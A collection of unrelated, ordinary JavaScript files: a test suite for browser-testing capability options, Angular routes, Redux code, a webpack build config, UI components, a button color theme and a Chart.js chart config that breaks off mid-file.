expect(ret.capabilities.prerun).to.deep.equal({key: 'value'})
})
it('should remove "timeout" capability if it has an unsupported value', function() {
let ret = Values.js({ os: "Windows", osVersion: "8.1", browser: "Firefox", browserVersion: "39.0" }, { timeout: false })
expect(ret.capabilities.maxDuration).to.be.undefined
})
it('should retain "timeout" capability if a supported value is provided', function() {
let ret = Values.js({ os: "Windows", osVersion: "8.1", browser: "Firefox", browserVersion: "39.0" }, { timeout: 120 })
expect(ret.capabilities.maxDuration).to.equal(120)
})
it('should remove "timezone" capability if it has an unsupported value', function() {
let ret = Values.js({ os: "Windows", osVersion: "8.1", browser: "Firefox", browserVersion: "39.0" }, { timezone: 120 })
expect(ret.capabilities.timeZone).to.be.undefined
})
it('should retain "timezone" capability if a supported value is provided', function() {
let ret = Values.js({ os: "Windows", osVersion: "8.1", browser: "Chrome", browserVersion: "39.0" }, { timezone: "Kolkata" })
expect(ret.capabilities.timeZone).to.equal('Kolkata')
})
it('should remove "local" capability if it has an unsupported value', function() {
let ret = Values.js({ os: "Windows", osVersion: "8.1", browser: "Firefox", browserVersion: "39.0" }, { local: 120 })
expect(ret.capabilities.local).to.be.undefined
})
it('should retain "local" capability if a supported value is provided', function() {
let ret = Values.js({ os: "Windows", osVersion: "8.1", browser: "Firefox", browserVersion: "39.0" }, { local: true })
expect(ret.capabilities.local).to.be.true
})
it('should remove "localIdentifier" capability if it has an unsupported value', function() {
let ret = Values.js({ os: "Windows", osVersion: "8.1", browser: "Firefox", browserVersion: "39.0" }, { localIdentifier: 120 })
expect(ret.capabilities.tunnelIdentifier).to.be.undefined
})
it('should retain "localIdentifier" capability if a supported value is provided', function() {
let ret = Values.js({ os: "Windows", osVersion: "8.1", browser: "Chrome", browserVersion: "39.0" }, { localIdentifier: "my-local-id" })
expect(ret.capabilities.tunnelIdentifier).to.equal('my-local-id')
})
it('should remove "parentTunnel" capability if it has an unsupported value', function() {
let ret = Values.js({ os: "Windows", osVersion: "8.1", browser: "Firefox", browserVersion: "39.0" }, { parentTunnel: 120 })
expect(ret.capabilities.parentTunnel).to.be.undefined
})
it('should retain "parentTunnel" capability if a supported value is provided', function() {
let ret = Values.js({ os: "Windows", osVersion: "8.1", browser: "Chrome", browserVersion: "39.0" }, { parentTunnel: "my-local-id" })
expect(ret.capabilities.parentTunnel).to.equal('my-local-id')
})
it('should remove "priority" capability if it has an unsupported value', function() {
let ret = Values.js({ os: "Windows", osVersion: "8.1", browser: "Firefox", browserVersion: "39.0" }, { priority: "abc" })
expect(ret.capabilities.priority).to.be.undefined
})
it('should retain "priority" capability if a supported value is provided', function() {
let ret = Values.js({ os: "Windows", osVersion: "8.1", browser: "Chrome", browserVersion: "39.0" }, { priority: 1 })
expect(ret.capabilities.priority).to.equal(1)
})
it('should remove "screenshots" capability if it has an unsupported value', function() {
let ret = Values.js({ os: "Windows", osVersion: "8.1", browser: "Chrome", browserVersion: "39.0" }, { screenshots: 120 })
expect(ret.capabilities.recordScreenshots).to.be.undefined
})
it('should retain "screenshots" capability if a supported value is provided', function() {
let ret = Values.js({ os: "Windows", osVersion: "8.1", browser: "Chrome", browserVersion: "39.0" }, { screenshots: true })
expect(ret.capabilities.recordScreenshots).to.be.true
})
it('should remove "noServerFailureScreenshots" capability if it has an unsupported value', function() {
let ret = Values.js({ os: "Windows", osVersion: "8.1", browser: "Chrome", browserVersion: "39.0" }, { noServerFailureScreenshots: 120 })
expect(ret.capabilities.webdriverRemoteQuietExceptions).to.be.undefined
})
it('should retain "noServerFailureScreenshots" capability if a supported value is provided', function() {
let ret = Values.js({ os: "Windows", osVersion: "8.1", browser: "Chrome", browserVersion: "39.0" }, { noServerFailureScreenshots: true })
expect(ret.capabilities.webdriverRemoteQuietExceptions).to.be.true
})
it('should remove "video" capability if it has an unsupported value', function() {
let ret = Values.js({ os: "Windows", osVersion: "8.1", browser: "Firefox", browserVersion: "39.0" }, { video: 120 })
expect(ret.capabilities.recordVideo).to.be.undefined
})
it('should retain "video" capability if a supported value is provided', function() {
let ret = Values.js({ os: "Windows", osVersion: "8.1", browser: "Firefox", browserVersion: "39.0" }, { video: false })
expect(ret.capabilities.recordVideo).to.be.false
})
it('should remove "videoUploadOnPass" capability if it has an unsupported value', function() {
let ret = Values.js({ os: "Windows", osVersion: "8.1", browser: "Firefox", browserVersion: "39.0" }, { videoUploadOnPass: 120 })
expect(ret.capabilities.videoUploadOnPass).to.be.undefined
})
it('should retain "videoUploadOnPass" capability if a supported value is provided', function() {
let ret = Values.js({ os: "Windows", osVersion: "8.1", browser: "Firefox", browserVersion: "39.0" }, { videoUploadOnPass: false })
expect(ret.capabilities.videoUploadOnPass).to.be.false
})
it('should remove "seleniumVersion" capability if it has an unsupported value', function() {
let ret = Values.js({ os: "Windows", osVersion: "8.1", browser: "Firefox", browserVersion: "39.0" }, { seleniumVersion: 1.0 })
expect(ret.capabilities.seleniumVersion).to.be.undefined
})
it('should retain "seleniumVersion" capability if a supported value is provided', function() {
let ret = Values.js({ os: "Windows", osVersion: "8.1", browser: "Firefox", browserVersion: "39.0" }, { seleniumVersion: "3.0.0" })
expect(ret.capabilities.seleniumVersion).to.equal('3.0.0')
})
it('should remove "seleniumVersion" capability if it has a supported value but is outside restricted values', function() {
let ret = Values.js({ os: "OS X", osVersion: "Yosemite", browser: "Safari", browserVersion: "8.0" }, { seleniumVersion: "3.0.0" })
expect(ret.capabilities.seleniumVersion).to.be.undefined
})
it('should retain "seleniumVersion" capability if it has a supported value which is also one of the restricted ones', function() {
let ret = Values.js({ os: "OS X", osVersion: "Yosemite", browser: "Safari", browserVersion: "8.0" }, { seleniumVersion: "2.37.0" })
expect(ret.capabilities.seleniumVersion).to.equal('2.37.0')
})
it('should remove "appiumVersion" capability if it has an unsupported value', function() {
let ret = Values.js({ os: "Android", osVersion: "4.4", browser: "Android Browser", browserVersion: null, device: "Samsung Galaxy S4 Emulator" }, { appiumVersion: "1.0" })
expect(ret.capabilities.appiumVersion).to.be.undefined
})
it('should retain "appiumVersion" capability if a supported value is provided', function() {
let ret = Values.js({ os: "Android", osVersion: "4.4", browser: "Android Browser", browserVersion: null, device: "Samsung Galaxy S4 Emulator"}, { appiumVersion: "1.5.3" })
expect(ret.capabilities.appiumVersion).to.equal('1.5.3')
})
it('should remove "ieDriver" capability if browser is not Internet Explorer', function() {
let ret = Values.js({ os: "Windows", osVersion: "8.1", browser: "Chrome", browserVersion: "39.0" }, { ieDriver: "2.21.1" })
expect(ret.capabilities.iedriverVersion).to.be.undefined
})
it('should remove "ieDriver" capability if browser is Internet Explorer but value is not supported', function() {
let ret = Values.js({ os: "Windows", osVersion: "8.1", browser: "Internet Explorer", browserVersion: "11.0" }, { ieDriver: "2.0.1" })
expect(ret.capabilities.iedriverVersion).to.be.undefined
})
it('should retain "ieDriver" capability if browser is Internet Explorer', function() {
let ret = Values.js({ os: "Windows", osVersion: "8.1", browser: "Internet Explorer", browserVersion: "11.0" }, { ieDriver: "2.21.1" })
expect(ret.capabilities.iedriverVersion).to.equal('2.21.1')
})
it('should remove "chromeDriver" capability if browser is not Chrome', function() {
let ret = Values.js({ os: "OS X", osVersion: "Yosemite", browser: "Firefox", browserVersion: "39.0" }, { chromeDriver: "2.13" })
expect(ret.capabilities.chromedriverVersion).to.be.undefined
})
it('should remove "chromeDriver" capability if browser is Chrome but value provided is unsupported', function() {
let ret = Values.js({ os: "OS X", osVersion: "Yosemite", browser: "Chrome", browserVersion: "39.0" }, { chromeDriver: "xyz" })
expect(ret.capabilities.chromedriverVersion).to.be.undefined
})
it('should retain "chromeDriver" capability if browser is Chrome and provided value is supported', function() {
let ret = Values.js({ os: "OS X", osVersion: "Yosemite", browser: "Chrome", browserVersion: "39.0" }, { chromeDriver: "2.13" })
expect(ret.capabilities.chromedriverVersion).to.equal("2.13")
})
it('should remove "deviceType" capability if it has an unsupported value', function() {
let ret = Values.js({ os: "Android", osVersion: "4.4", browser: "Android Browser", browserVersion: null, device: "Samsung Galaxy S4 Emulator", deviceType: "xyz"}, { })
expect(ret.browser.deviceType).to.be.undefined
})
it('should retain "deviceType" capability if a supported value is provided', function() {
let ret = Values.js({ os: "Android", osVersion: "4.4", browser: "Android Browser", browserVersion: null, device: "Samsung Galaxy S4 Emulator", deviceType: "tablet" }, { })
expect(ret.browser.deviceType).to.equal('tablet')
})
it('should remove "orientation" capability if it has an unsupported value', function() {
let ret = Values.js({ os: "Android", osVersion: "4.4", browser: "Android Browser", browserVersion: null, device: "Samsung Galaxy S4 Emulator", orientation: "xyz"}, { })
expect(ret.browser.deviceOrientation).to.be.undefined
})
it('should retain "orientation" capability if a supported value is provided', function() {
let ret = Values.js({ os: "Android", osVersion: "4.4", browser: "Android Browser", browserVersion: null, device: "Samsung Galaxy S4 Emulator", orientation: "portrait" }, { })
expect(ret.browser.deviceOrientation).to.equal('portrait')
})
it('should remove "resolution" capability if it has an unsupported value', function() {
let ret = Values.js({ os: "Windows", osVersion: "8.1", browser: "Chrome", browserVersion: "39.0", resolution: "xyz"}, { })
expect(ret.browser.screenResolution).to.be.undefined
})
it('should retain "resolution" capability if a supported value is provided', function() {
let ret = Values.js({ os: "Windows", osVersion: "8.1", browser: "Chrome", browserVersion: "39.0", resolution: "1280x1024"}, { })
expect(ret.browser.screenResolution).to.equal('1280x1024')
})
it('should remove "autoAcceptAlerts" capability if it has an unsupported value', function() {
let ret = Values.js({ os: "iOS", osVersion: "8.1", browser: "Mobile Safari", browserVersion: null, device: "iPhone 5 Simulator" }, { autoAcceptAlerts: 120 })
expect(ret.capabilities.autoAcceptAlerts).to.be.undefined
})
it('should retain "autoAcceptAlerts" capability if a supported value is provided', function() {
let ret = Values.js({ os: "iOS", osVersion: "8.1", browser: "Mobile Safari", browserVersion: null, device: "iPhone 5 Simulator" }, { autoAcceptAlerts: false })
expect(ret.capabilities.autoAcceptAlerts).to.be.false
})
it('should remove "automationEngine" capability if it has an unsupported value', function() {
let ret = Values.js({ os: "Android", osVersion: "4.4", browser: "Android Browser", browserVersion: null, device: "Samsung Galaxy S4 Emulator"}, { automationEngine: "xyz"})
expect(ret.capabilities.automationName).to.be.undefined
})
it('should retain "automationEngine" capability if a supported value is provided', function() {
let ret = Values.js({ os: "Android", osVersion: "4.4", browser: "Android Browser", browserVersion: null, device: "Samsung Galaxy S4 Emulator"},{ automationEngine: "Selendroid" })
expect(ret.capabilities.automationName).to.equal('Selendroid')
})
it('should remove "captureHtml" capability if value provided is unsupported', function() {
let ret = Values.js({ os: "Windows", osVersion: "8.1", browser: "Chrome", browserVersion: "39.0" }, { captureHtml: "xyz" })
expect(ret.capabilities.captureHtml).to.be.undefined
})
it('should retain "captureHtml" capability if Chrome is the browser and provided value is supported', function() {
let ret = Values.js({ os: "Windows", osVersion: "8.1", browser: "Chrome", browserVersion: "39.0" }, { captureHtml: true })
expect(ret.capabilities.captureHtml).to.be.true
})
it('should remove "captureLogs" capability if value provided is unsupported', function() {
let ret = Values.js({ os: "Windows", osVersion: "8.1", browser: "Chrome", browserVersion: "39.0" }, { captureLogs: "xyz" })
expect(ret.capabilities.recordLogs).to.be.undefined
})
it('should retain "captureLogs" capability if Chrome is the browser and provided value is supported', function() {
let ret = Values.js({ os: "Windows", osVersion: "8.1", browser: "Chrome", browserVersion: "39.0" }, { captureLogs: true })
expect(ret.capabilities.recordLogs).to.be.true
})
})
describe('selenium', function() {
this.timeout(0)
it('should convert "Android Browser" to "Browser"', function() {
let ret = Values.selenium({ os: "Android", osVersion: "4.4", browser: "Android Browser", browserVersion: null, device: "Samsung Galaxy S4 Emulator" }, { timeout: 120 })
expect(ret.browser.browserName).to.equal('Browser')
})
it('should convert "Mobile Safari" to "Safari"', function() {
let ret = Values.selenium({ os: "iOS", osVersion: "8.1", browser: "Mobile Safari", browserVersion: null, device: "iPad 2 Simulator" }, { timeout: 120 })
expect(ret.browser.browserName).to.equal('Safari')
})
})
})
|
angular.module('App', ['ionic', 'firebase'])
.config(function ($stateProvider, $urlRouterProvider) {
$stateProvider
.state('home', {
url: '/',
templateUrl: 'views/home/home.html'
})
.state('login', {
url: '/login',
templateUrl: 'views/login/login.html',
controller: 'LoginCtrl'
})
.state('forget-password', {
url: '/forget-password',
templateUrl: 'views/forget-password/forget-password.html'
})
.state('contact', {
url: '/contact',
templateUrl: 'views/contact/contact.html'
})
.state('learn', {
url: '/learn',
templateUrl: 'views/learn/learn.html'
})
.state('search', {
url: '/search',
templateUrl: 'views/search/search.html'
})
.state('search_result', {
url: '/search_result',
templateUrl: 'views/search_result/search_result.html'
})
.state('select_accredition',{
url: '/select_accredition',
templateUrl: 'views/select_accredition/select_accredition.html'
})
.state('selected_business',{
url: '/selected_business',
templateUrl: 'views/selected_business/selected_business.html'
})
.state('select_again',{
url: '/select_again',
templateUrl: 'views/select_again/select_again.html'
})
.state('submission',{
url: '/submission',
templateUrl: 'views/submission/submission.html'
})
.state('contact_form',{
url: '/contact_form',
templateUrl: 'views/contact_form/contact_form.html'
})
.state('logout',{
url: '/logout',
templateUrl: 'views/logout/logout.html'
})
.state('home_page',{
url: '/home_page',
templateUrl: 'views/home_page/home_page.html'
})
.state('my_quotes',{
url: '/my_quotes',
templateUrl: 'views/my_quotes/my_quotes.html'
})
.state('new_quote',{
url: '/new_quote',
templateUrl: 'views/new_quote/new_quote.html'
})
.state('current_quote',{
url: '/current_quote',
templateUrl: 'views/current_quote/current_quote.html'
})
.state('calculated_result',{
url: '/calculated_result',
templateUrl: 'views/calculated_result/calculated_result.html'
})
.state('all',{
url: '/all',
templateUrl: 'views/all/all.html'
});
$urlRouterProvider.otherwise('/');
})
.run(function($ionicPlatform, $location) {
$ionicPlatform.ready(function() {
// Hide the accessory bar by default (remove this to show the accessory bar above the keyboard
// for form inputs)
if(window.cordova && window.cordova.plugins.Keyboard) {
cordova.plugins.Keyboard.hideKeyboardAccessoryBar(true);
}
if(window.StatusBar) {
StatusBar.styleDefault();
}
});
var firstVisit = localStorage.getItem('firstVisit');
if (!firstVisit) {
$location.url('/');
}
});
|
/*
* Copyright 2013 The Polymer Authors. All rights reserved.
* Use of this source code is governed by a BSD-style
* license that can be found in the LICENSE file.
*/
var fs = require('fs');
module.exports = function(grunt) {
grunt.registerTask('move', 'move a file', function(src, dest) {
grunt.log.write('moving %s to %s', src, dest);
fs.renameSync(src, dest);
});
};
|
import { connect } from 'react-redux';
import Canvas from './Canvas.jsx';
const mapStateToProps = (state) => {
return {
state: state.app,
active_droplet_id: state.UI.active_droplet_id
};
};
const CanvasContainer = connect(
mapStateToProps
)(Canvas);
export default CanvasContainer;
|
var log = require( "whistlepunk" ).log;
log( {} );
module.exports = log;
|
import _cloneDeep from 'lodash/cloneDeep'
import _merge from 'lodash/merge'
import _isEmpty from 'lodash/isEmpty'
// redux actions
export const ADD_KEYBOARD_SHORTCUT_GROUP = 'ADD_KEYBOARD_SHORTCUT_GROUP'
export const REMOVE_KEYBOARD_SHORTCUT_GROUP = 'REMOVE_KEYBOARD_SHORTCUT_GROUP'
export const ADD_KEYBOARD_SHORTCUT = 'ADD_KEYBOARD_SHORTCUT'
export const REMOVE_KEYBOARD_SHORTCUT = 'REMOVE_KEYBOARD_SHORTCUT'
export const CLEAR_KEYBOARD_SHORTCUTS = 'CLEAR_KEYBOARD_SHORTCUTS'
// redux action creators
export const addKeyboardShortcutGroup = function(shortcutGroup) {
return {
type: ADD_KEYBOARD_SHORTCUT_GROUP,
shortcutGroup,
}
}
export const removeKeyboardShortcutGroup = function(groupName) {
return {
type: REMOVE_KEYBOARD_SHORTCUT_GROUP,
groupName,
}
}
export const addKeyboardShortcut = function(groupName, shortcut) {
return {
type: ADD_KEYBOARD_SHORTCUT,
groupName,
shortcut,
}
}
export const removeKeyboardShortcut = function(groupName, shortcutName) {
return {
type: REMOVE_KEYBOARD_SHORTCUT,
groupName,
shortcutName,
}
}
export const clearKeyboardShortcuts = function() {
return {
type: CLEAR_KEYBOARD_SHORTCUTS,
}
}
// redux reducers.
export const currentKeyboardShortcuts = function(state={}, action) {
if (action.type === ADD_KEYBOARD_SHORTCUT_GROUP) {
const mergedState = Object.assign({groups: {}}, state)
_merge(mergedState.groups, action.shortcutGroup)
return mergedState
}
else if (action.type === REMOVE_KEYBOARD_SHORTCUT_GROUP) {
const mergedState = Object.assign({groups: {}}, state)
delete mergedState.groups[action.groupName]
return mergedState
}
else if (action.type === ADD_KEYBOARD_SHORTCUT) {
const mergedState = Object.assign({groups: {}}, state)
if (!mergedState.groups[action.groupName]) {
mergedState.groups[action.groupName] = {}
}
_merge(mergedState.groups[action.groupName], action.shortcut)
return mergedState
}
else if (action.type === REMOVE_KEYBOARD_SHORTCUT) {
if (_isEmpty(state.groups)) { // No shortcuts exist
return state
}
let mergedState = _cloneDeep(state)
if (mergedState.groups[action.groupName]) {
delete mergedState.groups[action.groupName][action.shortcutName]
}
// Clean up group if left empty
if (_isEmpty(mergedState.groups[action.groupName])) {
delete mergedState.groups[action.groupName]
}
return mergedState
}
else if (action.type === CLEAR_KEYBOARD_SHORTCUTS) {
return {groups: {}}
}
else {
return state
}
}
|
var growly = require('../lib/growly.js');
var notifications = [
{ label: 'muffin', dispname: 'Muffin' },
{ label: 'cake', dispname: 'Cake' }
],
muffinopts = { label: 'muffin', icon: 'muffin.png' },
cakeopts = { label: 'cake', title: 'Cake is ready!', icon: 'cake.png', sticky: true };
growly.register('Bakery', 'muffin.png', notifications, function(err) {
if (err) {
console.log(err);
return;
}
growly.notify('Looks like it is half past muffin time!', muffinopts);
growly.notify('Click to deliver', cakeopts, function(err, action) {
console.log('You', action, 'the notification, so the cake is on its way!');
});
});
|
var path = require('path');
var utils = require('./utils');
var webpack = require('webpack');
var config = require('../config');
var merge = require('webpack-merge');
var baseWebpackConfig = require('./webpack.base.conf');
var HtmlWebpackPlugin = require('html-webpack-plugin');
var ExtractTextPlugin = require('extract-text-webpack-plugin');
var VueLoaderPlugin = require('vue-loader/lib/plugin');
const TerserPlugin = require('terser-webpack-plugin');
var webpackConfig = merge(baseWebpackConfig, {
mode: 'production',
module: {
rules: utils.styleLoaders({
sourceMap: config.build.productionSourceMap,
extract: true
})
},
devtool: config.build.productionSourceMap ? '#source-map' : false,
optimization: {
minimizer: [
new TerserPlugin({
cache: true, // 开启缓存
parallel: true, // 支持多进程
sourceMap: true,
}),
],
splitChunks: {
cacheGroups: {
vendor: {
name: "vendor",
chunks: "initial",
minChunks: 1,
},
mainfest: {
name: "mainfest",
chunks: "initial",
minChunks: 1,
},
}
}
},
output: {
path: config.build.assetsRoot,
filename: utils.assetsPath('js/[name].[chunkhash].js'),
chunkFilename: utils.assetsPath('js/[id].[chunkhash].js'),
},
plugins: [
// make sure to include the plugin for the magic
new VueLoaderPlugin(),
// http://vuejs.github.io/vue-loader/en/workflow/production.html
new webpack.DefinePlugin({
'process.env': config.build.env
}),
// extract css into its own file
new ExtractTextPlugin({
filename: utils.assetsPath('css/[name].[hash].css')
}),
// generate dist index.html with correct asset hash for caching.
// you can customize output by editing /index.html
// see https://github.com/ampedandwired/html-webpack-plugin
new HtmlWebpackPlugin({
filename: config.build.index,
template: 'index.html',
inject: true,
minify: {
removeComments: true,
collapseWhitespace: true,
removeAttributeQuotes: true
// more options:
// https://github.com/kangax/html-minifier#options-quick-reference
}
})
]
})
if (config.build.productionGzip) {
var CompressionWebpackPlugin = require('compression-webpack-plugin')
webpackConfig.plugins.push(
new CompressionWebpackPlugin({
asset: '[path].gz[query]',
algorithm: 'gzip',
test: new RegExp(
'\\.(' +
config.build.productionGzipExtensions.join('|') +
')$'
),
threshold: 10240,
minRatio: 0.8
})
)
}
if (config.build.bundleAnalyzerReport) {
var BundleAnalyzerPlugin = require('webpack-bundle-analyzer').BundleAnalyzerPlugin
webpackConfig.plugins.push(new BundleAnalyzerPlugin())
}
module.exports = webpackConfig
|
deepmacDetailCallback("c8028f000000/24",[{"d":"2016-06-22","t":"add","a":"Room B706ï¼Met Plaza, No.268 Tongxie Road, Changning District\nShanghai 200335\n\n","c":"CN","o":"Nova Electronics (Shanghai) Co., Ltd."},{"d":"2016-06-24","t":"change","a":"Room B706, 7th Floor, MET Plaza, No.268 Tongxie Road Shanghai Changning District CN 200335","c":"CN","o":"Nova Electronics (Shanghai) Co., Ltd."}]);
|
/**
* Created by Orz on 2018/5/08.
*/
import React, { Component } from 'react'
import { StyleSheet, SafeAreaView } from 'react-native'
import Table from '../index.js'
export default class App extends Component {
constructor(props) {
super(props)
this.state = {
header: ['id', 'name'],
body: [[1, 'apple'], [2, 'banana'], [3, 'pineapple']],
}
}
render() {
return(
<SafeAreaView style={styles.container}>
<Table header={this.state.header} body={this.state.body}/>
</SafeAreaView>
)
}
}
const styles = StyleSheet.create({
container: {
flex: 1,
backgroundColor: '#f2f2f2',
},
})
|
import { derived, writable } from "svelte/store";
const WS_URL = `ws://${window.location.hostname}:3000/ws`;
import { Ws } from "./ws.js";
export const user = writable({});
export const ws = new Ws(WS_URL, user);
export const sendWsMessage = (message) => {
return ws.sendReq(message);
};
export const isLoggedIn = derived(user, ($user) => $user?.config != null);
|
"use strict";
function LockedInspector(parent, object)
{
Inspector.call(this, parent, object);
// Name
this.form.addText(Locale.name);
this.name = this.form.addText("");
this.form.nextRow();
// Type
if(Editor.settings.general.showType)
{
this.form.addText(Locale.type);
this.type = this.form.addText("");
this.form.nextRow();
}
// UUID
if(Editor.settings.general.showUUID)
{
this.form.addText(Locale.uuid);
this.uuid = this.form.addText("");
this.form.nextRow();
}
}
LockedInspector.prototype = Object.create(Inspector.prototype);
// Update panel information
LockedInspector.prototype.updateInspector = function()
{
this.name.setText(this.object.name);
if(this.type !== undefined)
{
this.type.setText(this.object.type);
}
if(this.uuid !== undefined)
{
this.uuid.setText(this.object.uuid);
}
};
|
import React from 'react';
import PropTypes from 'prop-types';
import Helmet from 'react-helmet';
const SEO = ( { author, description, lang, meta, metaTitle, keywords, title } ) => {
return (
<Helmet
htmlAttributes={ { lang } }
title={ title }
titleTemplate={ `%s | ${ metaTitle }` }
meta={ [
{
name: `description`,
content: description,
},
{
property: `og:title`,
content: title,
},
{
property: `og:description`,
content: description,
},
{
property: `og:type`,
content: `website`,
},
{
name: `twitter:card`,
content: `summary`,
},
{
name: `twitter:creator`,
content: author,
},
{
name: `twitter:title`,
content: title,
},
{
name: `twitter:description`,
content: description,
},
]
.concat(
keywords.length > 0
? {
name: `keywords`,
content: keywords.join( `, ` ),
}
: []
)
.concat( meta ) }
/>
)
};
SEO.propTypes = {
author: PropTypes.string,
description: PropTypes.string,
lang: PropTypes.string,
meta: PropTypes.array,
metaTitle: PropTypes.string,
keywords: PropTypes.arrayOf(PropTypes.string),
title: PropTypes.string.isRequired,
};
SEO.defaultProps = {
lang: `en`,
meta: [],
keywords: [],
};
export default SEO;
|
// @flow
export default {
checkedBg: '#737373',
defaultBg: '#f9f9f9',
defaultBgStart: '#fff',
defaultBgEnd: '#ebebeb',
defaultShadow: [
['0 1px 0 0 rgba(0, 0, 0, 0.15)'],
['0 0 0 1px rgba(0, 0, 0, 0.15)']
],
defaultShadowArrow: '1px -1px 0 0 rgba(0, 0, 0, 0.15)',
defaultHoverBgStart: '#f2f2f2',
defaultHoverBgEnd: ' #dfdfdf',
defaultHoverShadow: [
['0 1px 0 0 rgba(0, 0, 0, 0.15)'],
['0 0 0 1px rgba(0, 0, 0, 0.2)']
],
defaultHoverShadowArrow: '1px -1px 0 0 rgba(0, 0, 0, 0.2)',
defaultActiveBg: '#e1e1e1',
defaultActiveShadow: [
['0 -1px 0 0 rgba(0, 0, 0, 0.1)'],
['0 0 0 1px rgba(0, 0, 0, 0.2)'],
['inset 0 1px 2px 0 rgba(0, 0, 0, 0.1)']
],
defaultActiveShadowArrow: [
['0 -2px 0 -1px rgba(0, 0, 0, 0.1)'],
['1px -1px 0 0 rgba(0, 0, 0, 0.2)'],
['inset 0 4px 5px -4px rgba(0, 0, 0, 0.1)']
],
// use- primary
primaryBg: '#1e8dd4',
primaryBgStart: '#2899ea',
primaryBgEnd: '#167ac1',
primaryShadow: [
['0 0 0 1px rgba(14, 81, 129, 0.7)'],
['0 1px 0 0 rgba(7, 37, 80, 0.5)']
],
primaryShadowArrow: '1px -1px 0 0 rgba(14, 81, 129, 0.7)',
primaryHoverBgStart: '#0087d5',
primaryHoverBgEnd: '#167ac1',
primaryHoverShadow: [
['0 0 0 1px rgba(5, 60, 99, 0.7)'],
['0 1px 0 0 rgba(7, 37, 80, 0.3)']
],
primaryHoverShadowArrow: '1px -1px 0 0 rgba(5, 60, 99, 0.7)',
primaryActiveBg: '#0079c3',
primaryActiveShadow: [
['0 0 0 1px rgba(10, 63, 99, 0.75)'],
['0 -1px 0 0 rgba(8, 45, 96, 0.5)'],
['inset 0 1px 2px 0 rgba(0, 0, 0, 0.2)']
],
primaryActiveShadowArrow: [
['1px -1px 0 0 rgba(10, 63, 99, 0.75)'],
['0 -2px 0 -1px rgba(8, 45, 96, 0.5)'],
['inset 0 4px 5px -4px rgba(0, 0, 0, 0.2)']
],
// use success
successBg: '#419d14',
successBgStart: '#4ba91d',
successBgEnd: '#37910b',
successShadow: [
['0 0 0 1px rgba(25, 103, 6, 0.7)'],
['0 1px 0 0 rgba(21, 80, 7, 0.5)']
],
successShadowArrow: '1px -1px 0 0 rgba(25, 103, 6, 0.7)',
successHoverBgStart: '#3b8d13',
successHoverBgEnd: '#317e0b',
successHoverShadow: [
['0 0 0 1px rgba(7, 73, 1, 0.7)'],
['0 1px 0 0 rgba(16, 70, 4, 0.3)']
],
successHoverShadowArrow: '1px -1px 0 0 rgba(7, 73, 1, 0.7)',
successActiveBg: '#35840e',
successActiveShadow: [
['0 0 0 1px rgba(4, 63, 0, 0.75)'],
['0 -1px 0 0 rgba(9, 32, 4, 0.6)'],
['inset 0 1px 2px 0 rgba(0, 0, 0, 0.1)']
],
successActiveShadowArrow: [
['1px -1px 0 0 rgba(4, 63, 0, 0.75)'],
['0 -2px 0 -1px rgba(9, 32, 4, 0.6)'],
['inset 0 4px 5px -4px rgba(0, 0, 0, 0.1)']
],
// use danger
dangerBg: '#e14c30',
dangerBgStart: '#ec5438',
dangerBgEnd: '#d44327',
dangerShadow: [
['0 0 0 1px rgba(173, 15, 0, 0.7)'],
['0 1px 0 0 rgba(0, 0, 0, 0.4)']
],
dangerShadowArrow: '1px -1px 0 0 rgba(173, 15, 0, 0.7)',
dangerHoverBgStart: '#d44227',
dangerHoverBgEnd: '#c73013',
dangerHoverShadow: [
['0 0 0 1px rgba(145, 0, 0, 0.7)'],
['0 1px 0 0 rgba(90, 3, 3, 0.4)']
],
dangerHoverShadowArrow: '1px -1px 0 0 rgba(145, 0, 0, 0.7)',
dangerActiveBg: '#cd381b',
dangerActiveShadow: [
['0 0 0 1px rgba(108, 7, 7, 0.75)'],
['0 -1px 0 0 rgba(90, 3, 3, 0.4)'],
['inset 0 1px 2px 0 rgba(0, 0, 0, 0.1)']
],
dangerActiveShadowArrow: [
['1px -1px 0 0 rgba(108, 7, 7, 0.75)'],
['0 -2px 0 -1px rgba(90, 3, 3, 0.4)'],
['inset 0 4px 5px -4px rgba(0, 0, 0, 0.1)']
],
// use pay
payBg: '#ffc943',
payBgStart: '#ffd54b',
payBgEnd: '#ffbb39',
payShadow: [
['0 0 0 1px rgba(238, 169, 34, 0.7)'],
['0 1px 0 0 rgba(77, 16, 0, 0.56)']
],
payShadowArrow: '1px -1px 0 0 rgba(238, 169, 34, 0.7)',
payHoverBgStart: '#ffbd3a',
payHoverBgEnd: '#f8a91d',
payHoverShadow: [
['0 0 0 1px rgba(227, 142, 8, 0.7)'],
['0 1px 0 0 rgba(93, 20, 3, 0.4)']
],
payHoverShadowArrow: '1px -1px 0 0 rgba(227, 142, 8, 0.7)',
payActiveBg: '#fbb028',
payActiveShadow: [
['0 0 0 1px rgba(210, 144, 0, 0.7)'],
['0 -1px 0 0 rgba(0, 0, 0, 0.44), inset 0 1px 2px 0 rgba(0, 0, 0, 0.05)']
],
payActiveShadowArrow: [
['1px -1px 0 0 rgba(210, 144, 0, 0.7)'],
['0 -2px 0 -1px rgba(0, 0, 0, 0.44)'],
['inset 0 4px 5px -4px rgba(0, 0, 0, 0.05)']
]
};
|
/*=========================================================================================
File Name: line-multi-axis.js
Description: Chartjs multi axis line chart
----------------------------------------------------------------------------------------
Item Name: Stack - Responsive Admin Theme
Author: PIXINVENT
Author URL: http://www.themeforest.net/user/pixinvent
==========================================================================================*/
// Line multi axis chart
// ------------------------------
$(window).on("load", function(){
//Get the context of the Chart canvas element we want to select
var ctx = $("#line-multi-axis");
var chartOptions = {
responsive: true,
maintainAspectRatio: false,
hoverMode: 'label',
stacked: false,
title:{
display:true,
text:'Chart.js Line Chart - Multi Axis'
},
scales: {
xAxes: [{
display: true,
gridLines: {
offsetGridLines: false,
color: "#f3f3f3",
drawTicks: false,
},
scaleLabel: {
display: true,
// labelString: 'x axis'
}
}],
yAxes: [{
type: "linear", // only linear but allow scale type registration. This allows extensions to exist solely for log scale for instance
display: true,
gridLines: {
color: "#f3f3f3",
drawTicks: false,
},
position: "left",
id: "y-axis-1",
}, {
type: "linear", // only linear but allow scale type registration. This allows extensions to exist solely for log scale for instance
display: true,
position: "right",
id: "y-axis-2",
// grid line settings
gridLines: {
drawOnChartArea: false, // only want the grid lines for one axis to show up
color: "#f3f3f3",
drawTicks: false,
},
}],
}
};
var chartData = {
labels: ["January", "February", "March", "April", "May", "June", "July"],
datasets: [{
label: "My First dataset",
data: [15, 45, -17, -42, 55, -24, 18],
yAxisID: "y-axis-1",
backgroundColor: "rgba(209,212,219,.4)",
borderColor: "transparent",
pointBorderColor: "#D1D4DB",
pointBackgroundColor: "#FFF",
pointBorderWidth: 2,
